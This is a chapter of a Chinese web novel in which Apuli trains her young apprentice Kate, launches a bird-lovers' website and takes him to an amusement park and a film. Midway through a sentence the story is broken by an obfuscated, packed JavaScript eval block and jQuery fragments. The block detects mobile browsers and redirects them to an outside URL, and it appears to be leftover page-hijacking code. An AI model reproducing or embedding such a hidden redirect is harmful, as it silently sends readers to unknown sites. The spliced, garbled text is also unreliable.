整整一个月，没日没夜的训练与学习，让凯特恍如隔世。


    爱普利之所以选择在当地逗留一个月，是为了等狗狗们治疗完毕，接下来，凯特就得决定狗狗们的去留。


    以前朝不保夕，如今前途未卜，凯特想，自己的情况还是不适合长期照顾它们，所以选择将它们送到了救助站。


    “别担心，有机会可以随时回来看。”爱普利说，“跑得了和尚跑不了庙。”


    暂时也没有更好的解决办法了，凯特点点头。


    巴巴德大学远在另一块大陆，坐了四天飞艇才到达目的地。生物调查需要跑这么远吗？研究生可以长期不待在学校？


    “职业猎人是这样的，兴趣使然。”爱普利解释。


    她在巴巴德大学论坛发帖，雇了个大学生来给凯特做一对一家教。从家教口中，凯特得知爱普利是11岁就考上巴巴德大学的天才，三年修完本科学分，保送研究生。


    “和我们普通人完全不是一个世界的人。”家教感慨道，“你身为她的弟弟，应该很辛苦吧？”


    为了方便，爱普利在论坛上说凯特是自己的远房亲戚。


    “……还好。”凯特回答，“她不是个难相处的人。”


    由于凯特总是竭尽全力达成她指定的目标，她对凯特的态度显而易见地越来越好。凯特不是没有想过自己无法满足她期望的情形，但如果可能的话，凯特认为自己必须满足她的期望。这不单是报答她栽培自己的恩情，而且凯特不讨厌她规划的职业道路。


    凯特喜欢跟动物打交道，甚至期待有一天能随爱普利一起去做生物调查。


    此时，做生物调查的海鸥爱普利正在奋力追逐另一只海鸥。


    作为水生鸟类，海鸥不仅飞行能力强，游泳和行走也非常出色，还很常见，是非常合适的学习对象。唯一的缺点是素质极差，一次落地没落好，居然被其他海鸥大声嘲笑。海鸥仰头大笑的姿势和声音宛如人类，侮辱效果加倍。


    那只嘲笑海鸥爱普利的海鸥混入鸟群，分不清谁是谁，海鸥爱普利只能随便攻击附近的海鸥。就算顶着双倍受伤的debuff，海鸥爱普利也得出这口恶气！


    咔嚓，咔嚓。


    海滩上看热闹的游客越来越多，不乏举着相机拍照的。


    随着海鸥战局逐渐扩大，海鸥们高亢的叫声充斥海滩，羽毛和鸟粪飞得到处都是。面临屎到淋头的糟糕局面，游客们不得不抱头逃窜。而罪魁祸首海鸥爱普利已经悄悄使用【地图标点】，瞬移到了另一片沙滩。


    她还发现了游客放在桌上的一包薯条。身为海鸥，不整点薯条就是白来了。


    叼起一根薯条，仰头吞进肚子。


    【HP+1】


    海鸥无法咀嚼，食物的美味度减半，海鸥爱普利意兴阑珊地飞走。


    可能最近没什么需要报道的事情，没想到海鸥大战也会出现在电视新闻里，爱普利因此获得一些启发。


    做出功绩，换言之，就是拥有一定程度的影响力和知名度——借助媒体，或许是个不错的路线。


    充分利用这段时间生物调查获得的体验，爱普利决定创建一个以“保护自然，爱护鸟类”为宗旨的非营利性公益网站，做好细分领域工作，专门发布和分享鸟类实拍视频、观鸟经历和相关知识，供鸟类爱好者交流讨论。


    在巴巴德大学论坛发帖，雇了几个大学生，加上观鸟社团的顾问，经过几番调整，网站“爱鸟天堂”一周内初步搭建完成，logo是一只麻雀的轮廓。


    网站主要板块有：鸟类查询，鸟种分布，专栏，图库，视频库，论坛，活动


    看起来挺丰富，但网站最需要其实是内容，而内容目前为空。


    自己从零做起是不可能的，首先考虑对接现成的数据库。为了规避可能的法律风险，爱普利找了家有名的律师事务所来帮忙办这件事。值得一提的是，猎人执照的含金量不可小觑，确实能在社会活动中获取诸多便利。


    对接数据库之后，网站架构又进行了数次优化，最后宣传网站的部分就直接买推广。


    别的不说，干这些事特别烧钱，爱普利晚上还得出去捞几笔大的来解决资金问题——现在你知道爱普利为什么选黑色兜帽了吗？因为适合夜晚行动。


    用非法资金来支持合法事业，能否达到最终目的也是未知，爱普利想，没有人比自己更慈善家。


    算了，反正不是自己的钱。


    网站内容管理人员暂定为观鸟社团的成员，除了运营“爱鸟天堂”在各大视频网站和社交网站的官方号，还负责审核普通用户上传的文字、视频和图片。用户的内容通过审核可以增加用户积分，每天积分有上限，积攒足够积分可以提升用户等级，获得在网站活动的更多权益。


    先把网站做起来，聚集起来的人多了，才能有更多挑选人才的余地——从高等级用户里面挑选未来的网站管理员。


    网站运营初期，爱普利会每天粗略检查网站内容管理人员们的工作记录。网站内容管理工作属于兼职，工资也按照兼职的标准给。爱好一旦变成工作，虽然有了稳定的契约，但难以保证他们的初心是否会变质。


    “小风筝，来看看我的网站！”爱普利拉着凯特到书房，在电脑前坐下。


    网站首页是一张世界地图，各个地区涂了不同深浅的颜色，代表鸟类分布统计数量的不同等级。地图下方实时显示最新加入的记录，包括自动生成的记录序号，观测时间，记录用户，观测点，等等等等。


    介绍完网站的概况和官方号，爱普利把每日检查员工工作的任务交给了凯特。


    “你是我最信任的徒弟，这件事我只放心交给你。”爱普利神采奕奕，从后面双手按住凯特的肩膀，“确认其他人有没有好好工作就行，这也是考验你各方面能力的机会。”


    凯特是个头脑聪明的孩子，一开始买的动植物图鉴已经成功背下来了，爱普利非常满意，是时候让他发光发热了。


    当甩手掌柜之前，有必要犒劳这段时间辛苦的自己。


    “明天放假一天，我们去游乐场玩。”


    “……好。”对于爱普利想一出是一出的行为，凯特早已习惯。


    凯特放弃说明天其实是工作日。在爱普利眼里，恐怕全世界都是围着她转的，哪天是工作日，哪天是假期，由她决定。


    话又说回来，游乐场挺好玩的，爱普利直接玩到不见人影，凯特只能独自找项目玩。


    通过书本和电视，凯特逐渐了解“普通小孩”的生活大概是什么样子：有一对父母，在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311170|172697||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    父母的共同养育下长大，然后大部分时间在学校和同龄人一起学习，玩耍，回家以后需要做学校布置的作业，学校还会有定期考试。到了假期，大部分时间可以用来跟朋友或者父母一起出去玩。


    没有食不果腹的忧虑，最大的烦恼是考试成绩——难以想象的生活。


    现在算是过上了类似的生活吗？凯特想起爱普利说过要送他去上初中，和同龄人一起体验正常的学校生活，有益身心健康。


    真的有益身心健康吗？


    凯特觉得，自己始终和“普通小孩”不一样，从小的流浪生活彻底改变了他的思维和心境，他无法理解“普通小孩”的思考方式，他现在更像是在模仿“普通小孩”。


    尽管爱普利和他一样是孤儿，但爱普利的成长环境应该跟他相差巨大。即使抛开成长环境不谈，“天才”和“凡人”的体验也是截然不同的，爱普利做什么都轻描淡写，成功仿佛理所应当。


    当凯特看到“爱鸟天堂”里汇集了全世界鸟类记录的庞大数据库，合作名单里一长串来自各国的相关组织名称令他眼花缭乱，短短一个月内达成如此成果，这恐怖的执行力，怎么不让人惊叹。


    与爱普利相比，他废寝忘食背完一本动植物图鉴显得格外不值一提。


    为什么选他当徒弟呢？总觉得应该有更优秀的人选才对。


    熙熙攘攘之中，一大束五颜六色的气球接近了陷入沉思的凯特。


    “小风筝。”爱普利拉起凯特的手，把气球绳塞进他手里，“走，花车巡游快开始了。”


    铺设了轨道的道路已经清空人群，广播里的音乐也变了，一辆辆堆满精美装饰物的花车，载着盛装打扮的工作人员们缓缓驶来。工作人员们根据自己扮演的角色设定，以不同风格的动作不断向人群挥手致意，激起一阵阵年轻且充满活力的欢呼尖叫声。


    凯特能够看出工作人员的表演有多卖力，但他基本不认识花车上面的角色，根本没办法共情。


    他还是成为不了“普通小孩”。


    偷瞄爱普利的表情，她远不像其他人一样激动，更像是……对新鲜事物的兴趣。原来她也不认识花车上的角色？凯特不禁稍感安慰。


    看了十分钟左右，爱普利的兴趣消退，拉着凯特去电影院看电影。


    简单扫一遍墙上贴满的电影海报，爱普利选了其中的一部动画电影《龙猫》。海报画面是雨中的破旧巴士站牌，旁边站着一个打伞的小女孩和一只身高两倍于女孩的巨大龙猫。


    “我看过这部电影，感觉还不错。”买完电影票，爱普利又买了两桶爆米花，将其中一桶抵在凯特胸口，“爆米花、快乐和荣耀，我都会分享给你。”


    凯特与她四目相对，某种温热的东西在胸腔里膨胀，爆米花甜腻的焦糖味包围住大脑，正如她裹着笑意的声音。


    在电影院的霓虹灯下，她的绿发也泛着柔光。


    “所以，我们会成为最好的……”她停顿了一下，眨眨眼，“师徒，对吧？”


    这个称谓像落进可乐的冰块，溅出几滴碳酸饮料特有的刺激性甜味，凯特低下头，鸭舌帽的帽檐和垂落的银发成为隔绝视线的屏障。


    “是的。”他深吸一口气，郑重地复述从一开始就被爱普利定下的称谓，“……师父。”